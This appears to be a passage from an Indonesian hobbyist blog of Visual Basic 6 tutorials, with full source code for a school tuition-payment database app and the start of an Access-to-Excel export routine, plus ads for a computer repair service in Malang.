VB Thok

Jasa servis komputer panggilan di malang

2011-09-30T21:27:00.002+07:00

Apakah anda seorang yang super sibuk atau anda orang yang tidak suka ribet dan repot ketika komputer anda sedang mengalami masalah?? atau apakah anda ingin meng-upgrade/membeli perangkat komputer baru??

Toko Komputer Online :
www.malangshop.cu.cc
Beli komputer tinggal pilih, pesan, bayar barang langsung dikirim tanpa harus repot dan ribet.
Dijamin aman dan terpercaya

Service Panggilan :
Hub spesialis servis komputer panggilan untuk wilayah malang, instal ulang, basmi virus, backup, maintenance, perbaikan, perakitan, windows error, instal laptop, netbook, instalasi jaringan, wireless, hotspot,dll (kecuali printer)
KHUSUS AREA MALANG (JATIM)

Freelance Computer
0857-55557767
http://freelance-computer.blogspot.com/
http://www.malangshop.cu.cc

Buku VB Keren Abiss...

2011-02-04T15:37:00.003+07:00

Bebas ijin Sedot untuk vb mania semua :)

101 Tips & trik Visual Basic
Teknik Pemrograman Visual Basic
Serba Serbi Aplikasi Visual basic I
Serba Serbi Aplikasi Visual basic II

Semoga bermanfaat bagi para vb mania di seluruh negeri ini,., :)

Membuat No Faktur otomatis

2011-02-04T14:26:00.003+07:00

Teman2 newbie berikut ini cara simpel membuat auto number faktur secara otomatis beserta metode pencarian...untuk source code silakan donlot disini

Membuat aplikasi input data karyawan

2011-02-03T21:00:00.004+07:00

Wah ternyata masih banyak ya pecinta pemrograman vb yg masih setia,,terutama teman2 newbie semua. Meskipun skrg dah mulai beranjak ke vb.net tp cinta saya kpd vb msh tetep (upss kok jd cinta cinta'an ya) wkwkwk,,,oke disni saya akan berbagi bagaimana membuat program yg bs terhubung dengan lebih dari satu database dalam 1 form, mksudnya??
mungkin teman2 newbie banyak yg bingung bagaimana misalnya akan menyimpan suatu data kedalam database yg berbeda2 dalam 1 tombol simpan,nah disini saya akan memberikan contohnya..plus ada skinXPnya jg,,,
program yg akan saya bahas disini mengenai input data karyawan yg terbagi dalam 2 database
berikut preview gambar dan database nya serta coding lengkapnya...

keterangan :
1. Finger Id : ID otomatis yg diambil dr database yg sudah dibuat jd tidak usah repot buat id manual
2. Database ada 2 yaitu kasir.mdb dan employee.mdb
3. Agar program bs berjalan & tdk error,,app path database kasir pd module hrus diedit & disesuaikan dg letak drive dmana database berada.
4. Untuk source code lengkapnya + exe-nya silakan dicopy disini

Yuukk Migrasi VB6 ke VB.NET..

2010-11-30T16:52:00.009+07:00

Selamat Bertemu lagi,,Sobat2 newbie developer semuanya..
Kali ini saya akan memulai petualangan saya lagi dengan sobat2 semua dalam ajang bergengsi,,upss kayak lomba aja,,,maksud saya dalam pemrograman yang lebih terorientasi atau dalam bahasa kerennya OOP (Object Oriented Programming) sebuah konsep yang berorientasi pada object..
Mungkin para sobat2 smua sbagian dah tau dan sudah paham pada konsep tersebut.
Nah untuk pembahasan artikel2 kedepannya saya akan mencoba untuk membahas VB.net mulai dari 0 biar sobat2 developer yg masih newbie bs mengikuti dg baik,,,untuk yg dah berpengalaman bs kasih masukan...karena disini kita akan berbagi ilmu..OK

Salam Vb.net,,

The Author
Tony Lee

Membuat aplikasi administrasi pembayaran spp sekolah

2009-04-28T06:46:00.007+07:00

Untuk kali ini penulis akan mengajak vbthok mania untuk mencoba membuat program jadi "aplikasi pembayaran spp" yang berfungsi untuk menangani dan mencatat transaksi pembayaran spp pada sekolah, program ini juga menyediakan report yang berfungsi untuk membuat laporan transaksi yang sudah terjadi.Semoga dengan program ini para vbthok mania bisa mengaplikasikannya dan mengembangkan tentunya menjadi yang lebih bagus dan lengkap.
Berikut tampilan menu yang sudah jadi.

untuk component yang dibutuhkan adalah :

untuk yang missing activeskin 4.3 coba untuk melakukan install programnya activeskin kalau sudah cb jalankan lagi, tambahkan juga componen crystal report.

Untuk script codenya bisa dicontoh seperti dibawah ini
'code form1

Private Sub Command1_Click()
formSiswa.Show
End Sub

Private Sub Timer1_Timer()
Label1.ForeColor = QBColor(Rnd * 15)
End Sub

Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
Select Case Button.Key
Case "siswa"
formSiswa.Show 1
Case "guru"
formGuru.Show
Case "transaksi"
frmspp.Show
Case "laporan"
frmcetakspp.Show
Case "keluar"
End
End Select
End Sub

'code form guru

Private Sub Command1_Click()
On Error Resume Next
CrystalReport1.WindowState = crptMaximized
CrystalReport1.RetrieveDataFiles
CrystalReport1.Action = 1
End Sub

Private Sub Form_Load()
Data1.DatabaseName = App.Path & "\spp.mdb"
Data1.RecordSource = "guru"
CrystalReport1.ReportFileName = App.Path & "\lapguru.rpt"
End Sub

Private Sub optlaki_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
txtTTL.SetFocus
End If
End Sub

Private Sub optper_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
txtTTL.SetFocus
End If
End Sub

Private Sub txtalamat_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
optlaki.SetFocus
End If
End Sub

Private Sub txtcarikode_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
End Sub

Private Sub txtjab_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
txtmengajar.SetFocus
End If
End Sub

Private Sub txtnama_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
If KeyAscii = 13 Then
txtalamat.SetFocus
End If
End Sub

Private Sub txtnip_Change()
Dim X As Byte
If Len(txtnip.Text) < 11 Then
Exit Sub
End If
txtnama.SetFocus
cmdsimpan.Enabled = True
Data1.Recordset.Index = "idx_nip"
Data1.Recordset.Seek "=", txtnip.Text
If Not Data1.Recordset.NoMatch Then
cmdupdate.Enabled = True
cmdsimpan.Enabled = False
tampil
Exit Sub
End If
End Sub

Private Sub txtnip_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
End Sub

Private Sub txtnip_LostFocus()

End Sub

Private Sub DBGrid1_DblClick()
txtnip.Text = DBGrid1.Text
End Sub

Private Function bersih()
txtnip.Text = ""
txtnama.Text = ""
txtalamat.Text = ""
txtTTL.Text = ""
txtjab.Text = ""
txtmengajar.Text = ""
optlaki.Value = False
optper.Value = False
End Function

Private Sub cmdbatal_Click()
bersih
cmdsimpan.Enabled = False
cmdupdate.Enabled = False
txtnip.Enabled = True
txtnip.SetFocus
End Sub

Private Function tampil()
txtnip.Enabled = False
txtnama.Text = Data1.Recordset!Nama
txtalamat.Text = Data1.Recordset!alamat
If Data1.Recordset!jk = "L" Then
optlaki.Value = True
Else
optper.Value = True
End If
txtTTL.Text = Data1.Recordset!ttl
txtjab.Text = Data1.Recordset!jabatan
txtmengajar.Text = Data1.Recordset!mengajar
cmdsimpan.Enabled = False
End Function

Private Sub cmdclose_Click()
formGuru.Hide
End Sub

Private Sub cmdhapus_Click()
On Error Resume Next
X = MsgBox("Data akan dihapus ? ", vbOKCancel, "PERHATIAN")
If X = vbOK Then
Data1.Recordset.Delete
bersih
End If
End Sub

Private Sub cmdsimpan_Click()
If txtnip.Text = "" Or txtnama.Text = "" Or txtalamat.Text = "" _
Or txtTTL.Text = "" Or txtjab.Text = "" Or txtmengajar.Text = "" _
Or (optlaki.Value = False And optper.Value = False) Then
MsgBox "Entry Data isn't complite..!!"
bersih
Exit Sub
Else
Data1.Recordset.AddNew
Data1.Recordset!nip = txtnip.Text
Data1.Recordset!Nama = txtnama.Text
Data1.Recordset!alamat = txtalamat
If optlaki.Value = True Then
Data1.Recordset!jk = "L"
Else
Data1.Recordset!jk = "P"
End If
Data1.Recordset!ttl = txtTTL.Text
Data1.Recordset!jabatan = txtjab.Text
Data1.Recordset!mengajar = txtmengajar.Text
Data1.Recordset.Update
bersih
cmdsimpan.Enabled = False
End If
End Sub

Private Sub cmdupdate_Click()
Data1.Recordset.Edit
Data1.Recordset!Nama = txtnama.Text
Data1.Recordset!alamat = txtalamat.Text
If optlaki.Value = True Then
Data1.Recordset!jk = "L"
Else
Data1.Recordset!jk = "P"
End If
Data1.Recordset!ttl = txtTTL.Text
Data1.Recordset!jabatan = txtjab.Text
Data1.Recordset!mengajar = txtmengajar.Text
Data1.Recordset.Update
bersih
cmdupdate.Enabled = False
cmdsimpan.Enabled = True
txtnip.Enabled = True
End Sub

Private Sub Form_Activate()
bersih
txtnip.SetFocus
cmdsimpan.Enabled = False
End Sub

Private Sub txtcarinama_Change()
Data1.Recordset.Index = "idx_nama"
Data1.Recordset.Seek "<=", Trim(txtcarinama.Text) & "zzz"
End Sub

Private Sub txtcarikode_Change()
Data1.Recordset.Index = "idx_nip"
Data1.Recordset.Seek "<=", Trim(txtcarikode.Text) & "zzz"
End Sub

Private Sub txtTTL_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
txtjab.SetFocus
End If
End Sub

'code formguru

Private Sub cmbAgama_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
txtTelepon.SetFocus
End If
End Sub

Private Sub cmbKelas_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
mskTgl.SetFocus
End If
End Sub

Private Sub Command1_Click()
On Error Resume Next
CrystalReport1.WindowState = crptMaximized
CrystalReport1.RetrieveDataFiles
CrystalReport1.Action = 1
End Sub

Private Sub Form_Load()
Dim tang As String
Data1.DatabaseName = App.Path & "\spp.mdb"
Data1.RecordSource = "siswa"
mskTgl.Text = Format(Date, "dd/mm/yyyy")
CrystalReport1.ReportFileName = App.Path & "\lapsis.rpt"
End Sub

Private Function bersih()
txtnis.Text = ""
txtNama.Text = ""
txtAlamat.Text = ""
txtTgllahir.Text = ""
cmbAgama.Text = ""
txtTelepon.Text = ""
cmbKelas.Text = ""
mskTgl.Mask = ""
txtspp.Text = ""
opt1.Value = False
opt2.Value = False
cmdsimpan.Enabled = False
End Function

Private Sub DBGrid1_DblClick()
txtnis.Text = DBGrid1.Text
End Sub

Private Function tampil()
On Error Resume Next
txtnis.Enabled = False
txtNama.Text = Data1.Recordset!Nama
txtAlamat.Text = Data1.Recordset!alamat
txtTelepon.Text = Data1.Recordset!telepon
txtTgllahir.Text = Data1.Recordset!ttl
cmbAgama.Text = Data1.Recordset!agama
mskTgl.Text = Data1.Recordset!thnmsk
If Data1.Recordset!jk = "L" Then
opt1.Value = True
Else
opt2.Value = True
End If
txtspp.Text = Format(Data1.Recordset!spp, "#,#,0")
cmbKelas.Text = Data1.Recordset!kelas
cmdsimpan.Enabled = False
End Function

Private Sub cmdbatal_Click()
txtspp.Text = ""
bersih
cmdupdate.Enabled = False
txtnis.Enabled = True
txtnis.Text = ""
txtnis.SetFocus
End Sub

Private Sub cmdclose_Click()
formSiswa.Hide
' frmMenu.Show
End Sub

Private Sub cmdhapus_Click()
On Error Resume Next
s = MsgBox("Data akan dihapus ?", vbOKCancel, "PERHATIAN")
If s = vbOK Then
Data1.Recordset.Delete
End If
End Sub

Private Sub cmdsimpan_Click()
On Error Resume Next
If txtnis.Text = "" Then
MsgBox "NIS belum diisi", vbOKOnly, "Message Siswa"
Exit Sub
End If
If txtNama.Text = "" Or txtAlamat.Text = "" Or txtTgllahir.Text = "" _
Or cmbAgama.Text = "" Or cmbKelas.Text = "" _
Or (opt1.Value = False And opt2.Value = False) Or mskTgl.Text = "" Then
MsgBox "Ada yang belum diisi", vbOKOnly, "Message Siswa"
Exit Sub
End If
Data1.Recordset.AddNew
Data1.Recordset!nis = txtnis.Text
Data1.Recordset!Nama = txtNama.Text
Data1.Recordset!alamat = txtAlamat.Text
Data1.Recordset!telepon = txtTelepon.Text
Data1.Recordset!ttl = txtTgllahir.Text
Data1.Recordset!agama = cmbAgama.Text
Data1.Recordset!kelas = cmbKelas.Text
Data1.Recordset!thnmsk = mskTgl.Text
If opt1.Value = True Then
Data1.Recordset!jk = "L"
Else
Data1.Recordset!jk = "P"
End If
Data1.Recordset!spp = txtspp.Text
Data1.Recordset.Update
bersih
cmdsimpan.Enabled = False
End Sub

Private Sub cmdupdate_Click()
Data1.Recordset.Edit
Data1.Recordset!nis = txtnis.Text
Data1.Recordset!Nama = txtNama.Text
Data1.Recordset!alamat = txtAlamat.Text
Data1.Recordset!telepon = txtTelepon.Text
Data1.Recordset!ttl = txtTgllahir.Text
Data1.Recordset!agama = cmbAgama.Text
Data1.Recordset!kelas = cmbKelas.Text
Data1.Recordset!thnmsk = mskTgl.Text
If opt1.Value = True Then
Data1.Recordset!jk = "L"
Else
Data1.Recordset!jk = "P"
End If
Data1.Recordset!spp = txtspp.Text
Data1.Recordset.Update
bersih
cmdupdate.Enabled = False
txtnis.Enabled = True
cmdsimpan.Enabled = True
End Sub

Private Sub Form_Activate()
bersih
txtnis.SetFocus
End Sub

Private Sub text1_Change()

End Sub

Private Sub mskTgl_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
txtspp.SetFocus
End If
End Sub

Private Sub opt1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
txtTgllahir.SetFocus
End If
End Sub

Private Sub opt2_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
txtTgllahir.SetFocus
End If
End Sub

Private Sub SSTab1_DblClick()
Data1.Refresh
DBGrid1.Refresh
End Sub

Private Sub txtalamat_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
opt1.SetFocus
End If
End Sub

Private Sub txtcarinama_Change()
Data1.Recordset.Index = "namapel"
Data1.Recordset.Seek "<=", Trim(Txtcarinama.Text) & "zzz"
If Data1.Recordset.NoMatch Then
MsgBox "Data tidak ada", vbOKOnly, "Message Siswa"
Exit Sub
End If
cmdhapus.Enabled = True
End Sub

Private Sub Txtcarinis_Change()
cmdhapus.Enabled = False
If Len(Txtcarinis.Text) < 5 Then
Exit Sub
End If
Data1.Recordset.Index = "nispel"
Data1.Recordset.Seek "=", Txtcarinis.Text
If Data1.Recordset.NoMatch Then
MsgBox "Data tidak ada", vbOKOnly, "Message Siswa"
Exit Sub
End If
cmdhapus.Enabled = True
End Sub

Private Sub txtkelas_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("1") And KeyAscii <= Asc("3") Or KeyAscii = vbKeyBack) Then
Beep
KeyAscii = 0
End If
End Sub

Private Sub txtcariNis_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
End Sub

Private Sub txtnama_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
If KeyAscii = 13 Then
txtAlamat.SetFocus
End If
End Sub

Private Sub txtnis_Change()
Dim X As Byte
If Len(txtnis.Text) < 10 Then
Exit Sub
End If
cmdsimpan.Enabled = True
txtNama.SetFocus
Data1.Recordset.Index = "nispel"
Data1.Recordset.Seek "=", txtnis.Text
If Not Data1.Recordset.NoMatch Then
cmdupdate.Enabled = True
tampil
End If
End Sub

Private Sub Txtnis_LostFocus()
cmdbatal.Enabled = True
End Sub

Private Sub txtspp_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") And KeyAscii <= Asc("9") Or KeyAscii = vbKeyBack) Then
Beep
KeyAscii = 0
End If
End Sub

Private Sub txtnis_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
End Sub

Private Sub txtTelepon_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
cmbKelas.SetFocus
End If
End Sub

Private Sub txtTgllahir_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
cmbAgama.SetFocus
End If
End Sub

'code form cetak
Dim p As Printer

Private Sub cmdList_Click()

End Sub

Private Sub preview()
Dim mno, mhal, mbaris, X As Integer
Dim mnilai, msubtotal, mtotal As Single
Dim mgrs As String
On Error GoTo 0
With dbtran.Recordset
'pb.Min = 1
'pb.Max = .RecordCount
.MoveFirst
Printer.CurrentX = 5
Printer.CurrentY = 5
mhal = 0
mno = 0
mtotal = 0
Do
mhal = mhal + 1
Form2.FontSize = Val(cbs.Text) * 2
Form2.FontBold = True
Form2.Print "Data Pembayaran SPP"
Form2.Print "SD Negeri 01 Blimbing - Malang"
Form2.FontSize = cbs.Text
Form2.FontBold = False
Form2.Print
Form2.Print Tab(10); "Kelas : "; !kelas;
Form2.Print Tab(100); "Hal :"; Format(mhal, "###")
Form2.Print
mgrs = String$(200, "-")
Form2.Print mgrs
Form2.Print Tab(2); "No. Tran";
Form2.Print Tab(10); "Tgl. Pem";
Form2.Print Tab(20); "NIS";
Form2.Print Tab(45); "Kelas";
Form2.Print Tab(60); "NIP";
Form2.Print Tab(70); "Bayar";
Form2.Print
Form2.Print mgrs
Form2.Print
mbaris = 0
msubtotal = 0
Do
mno = mno + 1
pb.Value = mno
Form2.Print Tab(1); rkanan(mno, "#####");
Form2.Print Tab(10); !nis;
Form2.Print Tab(20); !kelas;
Form2.Print Tab(45); rkanan(!bayar, "###,###,###");
Form2.Print Tab(60); !terlambat;
Form2.Print Tab(70); !sanksi;

mbaris = mbaris + 1
.MoveNext
If .EOF Then
Exit Do
End If
Loop Until mbaris > 55
Form2.Print
Form2.Print mgrs
' Form2.NewPage
If .EOF Then
Exit Do
End If
Loop
'Form2.EndDoc
pb.Value = .RecordCount
End With
On Error GoTo 0
Exit Sub
salahcetak:
Beep
d = MsgBox("Printer Error !" & Chr(13) & "Betulkan Printer lalu klik ok", vbOKCancel)
If d = 0 Then
Resume
Else
'Printer.KillDoc

End If
End Sub

Private Sub cmdprev_Click()
With CrystalReport1
.ReportFileName = App.Path & "\laptran.rpt"
.SelectionFormula = "month({transaksi.tgl_pem})=" & Combo1.ListIndex + 1 & " "
.RetrieveDataFiles
.WindowShowCloseBtn = True
.WindowState = crptMaximized
.Action = 1
End With
End Sub

Private Sub Command1_Click()
Unload Me
End Sub

Private Sub Command2_Click()
CrystalReport2.ReportFileName = App.Path & "\laptran.rpt"
CrystalReport2.WindowState = crptMaximized
CrystalReport2.RetrieveDataFiles
CrystalReport2.Action = 1
End Sub

Private Sub Form_Activate()
frmPrint.Visible = True
End Sub

Private Sub Form_Load()
dbtran.DatabaseName = App.Path & "\spp.mdb"
dbtran.RecordSource = "Select * From transaksi"
For bln = 1 To 12
bulan = Choose(bln, "januari", "februari", "maret", "april", "mei", "juni", "juli", "agustus", "september", "oktober", "november", "desember") & " " & Str(Year(Date))
Combo1.AddItem bulan
Next
End Sub

Private Sub cmdRefresh_Click()
dbtran.DatabaseName = App.Path & "\spp.mdb"
dbtran.RecordSource = "Select * From transaksi"
dbtran.Refresh
End Sub

Private Sub cbf_Click()
cbf.FontName = cbf.Text
End Sub

Private Sub cbp_Click()
For Each p In Printers
If p.DeviceName = cbp.Text Then
Set Printer = p
Exit For
End If
Next
End Sub

Private Sub cbs_Click()
cbs.FontSize = cbs.Text
End Sub

Private Sub cmdcetak_Click()
Dim mno, mhal, mbaris, X As Integer
Dim mnilai, msubtotal, mtotal As Single
Dim mgrs As String
On Error GoTo 0
With dbtran.Recordset
'pb.Min = 1
'pb.Max = .RecordCount
.MoveFirst
Printer.CurrentX = 5
Printer.CurrentY = 5
mhal = 0
mno = 0
mtotal = 0
Do
mhal = mhal + 1
Printer.FontSize = Val(cbs.Text) * 2
Printer.FontBold = True
Printer.Print "Data Pembayaran SPP"
Printer.Print "SD Negeri 01 Blimbing - Malang"
Printer.FontSize = cbs.Text
Printer.FontBold = False
Printer.Print
Printer.Print Tab(10); "Kelas : "; !kelas;
Printer.Print Tab(100); "Hal :"; Format(mhal, "###")
Printer.Print
mgrs = String$(200, "-")
Printer.Print mgrs
Printer.Print Tab(2); "No. Tran";
Printer.Print Tab(10); "Tgl. Pem";
Printer.Print Tab(20); "NIS";
Printer.Print Tab(45); "Kelas";
Printer.Print Tab(60); "NIP";
Printer.Print Tab(70); "Bayar";

Printer.Print
Printer.Print mgrs
Printer.Print
mbaris = 0
msubtotal = 0
Do
mno = mno + 1
pb.Value = mno
Printer.Print Tab(1); rkanan(mno, "#####");
Printer.Print Tab(10); !nis;
Printer.Print Tab(20); !kelas;
Printer.Print Tab(45); rkanan(!bayar, "###,###,###");
Printer.Print Tab(60); !terlambat;
Printer.Print Tab(70); !sanksi;

mbaris = mbaris + 1
.MoveNext
If .EOF Then
Exit Do
End If
Loop Until mbaris > 55
Printer.Print
Printer.Print mgrs
Printer.NewPage
If .EOF Then
Exit Do
End If
Loop
Printer.EndDoc
pb.Value = .RecordCount
End With
On Error GoTo 0

Exit Sub
salahcetak:
Beep
d = MsgBox("Printer Error !" & Chr(13) & "Betulkan Printer lalu klik ok", vbOKCancel)
If d = 0 Then
Resume
Else
Printer.KillDoc

End If
End Sub

Private Sub opmiring_Click()
Printer.Orientation = vbPRORLandscape
End Sub

Private Sub opportait_Click()
Printer.Orientation = vbPRORPortrait
End Sub

Private Sub txtcopy_LostFocus()
If Val(txtcopy.Text) <> 10 Then
Beep
txtcopy.SetFocus
End If
End Sub

Private Function rkanan(ndata, cformat) As String
rkanan = Format(ndata, cformat)
rkanan = Space(Len(cformat) - Len(rkanan)) + rkanan
End Function

Private Sub UpDown1_Change()
txtcopy.Text = UpDown1.Value
End Sub

'code formspp

Dim DB As Database
Dim RSsiswa As Recordset
Dim RStran As Recordset

Private Function clear()
Text3.Text = ""
Text4.Text = ""
Text5.Text = ""
Text6.Text = ""
Text7.Text = ""
Text8.Text = ""
Text9.Text = ""
Text10.Text = ""
Text12.Text = ""
DBCombo1.Text = ""
DBCombo2.Text = ""
Combo1.Text = ""
Cmdsimpan.Enabled = False
cmdupdate.Enabled = False
End Function

Private Sub cmdupdate_Click()
Data1.Recordset.Edit
Data1.Recordset!Notran = Text1.Text
Data1.Recordset!tgl_pem = Text2.Text
Data1.Recordset!nis = DBCombo1.Text
Data1.Recordset!kelas = Text4.Text
Data1.Recordset!nip = DBCombo2.Text
Data1.Recordset!bayar = Text7.Text
Data1.Recordset!ket = Text8.Text
Data1.Recordset!terlambat = Text10.Text
Data1.Recordset!sanksi = Combo1.Text
Data1.Recordset!ket_sanksi = Text12.Text
Data1.Recordset.Update
clear
Text1.Enabled = True
Text1.Text = ""
Text1.SetFocus
End Sub

Private Sub Command1_Click()
On Error Resume Next
s = MsgBox("Data akan dihapus ?", vbOKCancel, "PERHATIAN")
If s = vbOK Then
Data1.Recordset.Delete
End If
End Sub

Private Sub DBCombo1_Change()
Data2.Recordset.Index = "nispel"
Data2.Recordset.Seek "=", DBCombo1.Text
If Not Data2.Recordset.NoMatch Then
Text3.Text = Data2.Recordset!Nama
Text4.Text = Data2.Recordset!kelas
Text5.Text = Format(Data2.Recordset!spp, "#,#,0")
Text9.Text = Format$(Data2.Recordset!thnmsk, "dddd, dd MMMM yyyy")
'Text10.Text = Val(Data2.Recordset!thnmsk) - (Format$(Date, "dd mm"))
End If
End Sub

Private Sub DBCombo2_Change()
Data3.Recordset.Index = "idx_nip"
Data3.Recordset.Seek "=", DBCombo2.Text
If Not Data3.Recordset.NoMatch Then
Text6.Text = Data3.Recordset!Nama
End If
End Sub

Private Sub Form_Activate()
Text1.Text = ""
Text1.SetFocus
clear
End Sub

Private Sub Form_Load()
Data1.DatabaseName = App.Path & "\spp.mdb"
Data1.RecordSource = "transaksi"
Data2.DatabaseName = App.Path & "\spp.mdb"
Data2.RecordSource = "siswa"
Data3.DatabaseName = App.Path & "\spp.mdb"
Data3.RecordSource = "guru"
Text2.Text = Date
Combo1.List(0) = "Peringatan"
Combo1.List(1) = "Denda"
Combo1.List(2) = "Skors"
Combo1.List(3) = "Dikeluarkan"
End Sub

Private Sub cmdbatal_Click()
clear
Text1.Enabled = True
Text1.Text = ""
Text1.SetFocus

End Sub

'Private Sub mnentry_Click()
' Dim I As Byte
' For I = 0 To 3
' txtno.Text = ""
'Next I
'txtno.SetFocus
'End Sub

Private Sub cmdkeluar_Click()
Unload Me
End Sub

Private Sub mnreport_Click()
'frmlapspp.Show
'frmspp.Hide
End Sub

Private Sub cmdsimpan_Click()
Dim tgl As Date
If Text1.Text = "" Or Text2.Text = "" Or DBCombo1.Text = "" Or DBCombo2.Text = "" Or Text7.Text = "" Or Text8.Text = "" Then
MsgBox "Ada yang belum terisi !!", vbOKOnly, "Pesan Transaksi"
Else
Data1.Recordset.AddNew
Data1.Recordset!Notran = Text1.Text
Data1.Recordset!tgl_pem = Text2.Text
Data1.Recordset!nis = DBCombo1.Text
Data1.Recordset!kelas = Text4.Text
Data1.Recordset!nip = DBCombo2.Text
Data1.Recordset!bayar = Text7.Text
Data1.Recordset!ket = Text8.Text
Data1.Recordset!terlambat = Text10.Text
Data1.Recordset!sanksi = Combo1.Text
Data1.Recordset!ket_sanksi = Text12.Text
Data1.Recordset.Update
clear
Text1.Text = ""
Text1.SetFocus
End If
End Sub

Private Sub text1_Change()
If Len(Text1.Text) < 6 Then
Exit Sub
End If
Cmdsimpan.Enabled = True
DBCombo1.SetFocus
Data1.Recordset.Index = "notran"
Data1.Recordset.Seek "=", Text1.Text
If Not Data1.Recordset.NoMatch Then
tampil
Text7.Text = Format(Data1.Recordset!bayar, "#,#,0")
Text8.Text = Data1.Recordset!ket
Text10.Text = Data1.Recordset!terlambat
Combo1.Text = Data1.Recordset!sanksi
Text12.Text = Data1.Recordset!ket_sanksi
cmdupdate.Enabled = True
Cmdsimpan.Enabled = False
End If

End Sub

Private Function tampil()
On Error Resume Next
Text1.Enabled = False
DBCombo1.Text = Data1.Recordset!nis
DBCombo2.Text = Data1.Recordset!nip
Text7.Text = Data1.Recordset!bayar
Text8.Text = Data1.Recordset!ket
Text9.Text = Data1.Recordset!batas
Text10.Text = Data1.Recordset!terlambat
Text12.Text = Data1.Recordset!ket_sanksi
End Function

Private Sub Text1_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
End Sub

Private Sub Text11_Change()
Cmdhapus.Enabled = False
If Len(Text11.Text) < 6 Then
Exit Sub
End If
Data1.Recordset.Index = "notran"
Data1.Recordset.Seek "=", Text11.Text
If Data1.Recordset.NoMatch Then
MsgBox "Data tidak ada", vbOKOnly, "PERHATIAN"
Exit Sub
End If
Cmdhapus.Enabled = True
End Sub

Private Sub Text11_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
End Sub

Private Sub Text2_Change()
Text2.Text = Date
End Sub

Private Sub Text7_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Text8.SetFocus
End If
End Sub

Private Sub Text8_Change()
If KeyAscii = 13 Then
Text10.SetFocus
End If
End Sub

Nah untuk source codenya silakan disedot disini

memindahkan database access ke excel

2009-04-18T09:16:00.003+07:00

Materi kali ini penulis akan mengajak vbthok mania untuk membuat program yang bisa memindahkan isi database akses kedalam excel, mungkin ada diantara vbthok mania yang ingin membuat laporan dalam format excel dan datanya diambil dari database akses.Nah semoga artikel ini bermanfaat.
Oke kalau begitu buat form dan desain seperti contoh berikut

komponen yang dibutuhkan :
microsoft DAO 3.51 object library
microsoft excel 10.0 object library
microsoft common dialog control 6.0

untuk scrip codenya sebagai berikut :

Option Explicit
Dim dbSR As Database
Dim rs As Recordset
Dim strcaption, sn
Dim Td As TableDef
Dim i As Single
Dim Recs As Integer, Counter As Integer
Dim Barstring As String, MdbFile As String
Dim Junk As String

Private Type ExlCell
row As Long
col As Long
End Type

Private Sub Command2_Click()
Picture1.ForeColor = RGB(0, 0, 255)
On Error GoTo errhandler
CommonDialog1.Filter = "Access Files (*.mdb)"
CommonDialog1.FilterIndex = 0
CommonDialog1.FileName = "*.mdb"
CommonDialog1.ShowOpen
MdbFile = (CommonDialog1.FileName)

'set mdb file
Set dbSR = OpenDatabase(MdbFile)

List1.Clear
For Each Td In dbSR.TableDefs
Junk = Td.Name
Junk = UCase(Junk)
If Left(Junk, 4) <> "MSYS" Then
List1.AddItem Td.Name
End If
Next
Frame1.Visible = True

Exit Sub
errhandler:
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
dbSR.Close
Set dbSR = Nothing
End
End Sub

Private Sub List1_Click()
On Error GoTo errortrapper
Screen.MousePointer = vbHourglass

Junk = List1.Text
Set rs = dbSR.OpenRecordset(Junk, dbOpenDynaset)
Call ToExcel(rs, "C:\wk.xls")
GoTo skiperrortrapper
errortrapper:
Beep
Screen.MousePointer = vbDefault
MsgBox "This is a system file" & Chr(10) & "and is not accessible."
skiperrortrapper:
Screen.MousePointer = vbDefault
End Sub

Private Sub CopyRecords(rs As Recordset, ws As Worksheet, _
StartingCell As ExlCell)
Dim SomeArray() As Variant
Dim row As Long, col As Long
Dim fd As Field
If rs.EOF And rs.BOF Then Exit Sub
rs.MoveLast
ReDim SomeArray(rs.RecordCount + 1, rs.Fields.Count)
col = 0

For Each fd In rs.Fields
SomeArray(0, col) = fd.Name
col = col + 1
Next
rs.MoveFirst
Recs = rs.RecordCount
Counter = 0

For row = 1 To rs.RecordCount - 1
Counter = Counter + 1
If Counter <= Recs Then i = (Counter / Recs) * 100
UpdateProgress Picture1, i
For col = 0 To rs.Fields.Count - 1
SomeArray(row, col) = rs.Fields(col).Value
If IsNull(SomeArray(row, col)) Then _
SomeArray(row, col) = ""
Next
rs.MoveNext
Next
ws.Range(ws.Cells(StartingCell.row, StartingCell.col), _
ws.Cells(StartingCell.row + rs.RecordCount + 1, _
StartingCell.col + rs.Fields.Count)).Value = SomeArray
End Sub

Private Sub ToExcel(sn As Recordset, strcaption As String)
Dim oExcel As Object
Dim objExlSht As Object ' OLE automation object
Dim stCell As ExlCell

DoEvents
On Error Resume Next
Set oExcel = GetObject(, "Excel.Application")
If Err = 429 Then
Err = 0
Set oExcel = CreateObject("Excel.Application")
If Err = 429 Then
MsgBox Err & ": " & Error, vbExclamation + vbOKOnly
Exit Sub
End If
End If
oExcel.Workbooks.Add
oExcel.Worksheets("sheet1").Name = strcaption
Set objExlSht = oExcel.ActiveWorkbook.Sheets(1)
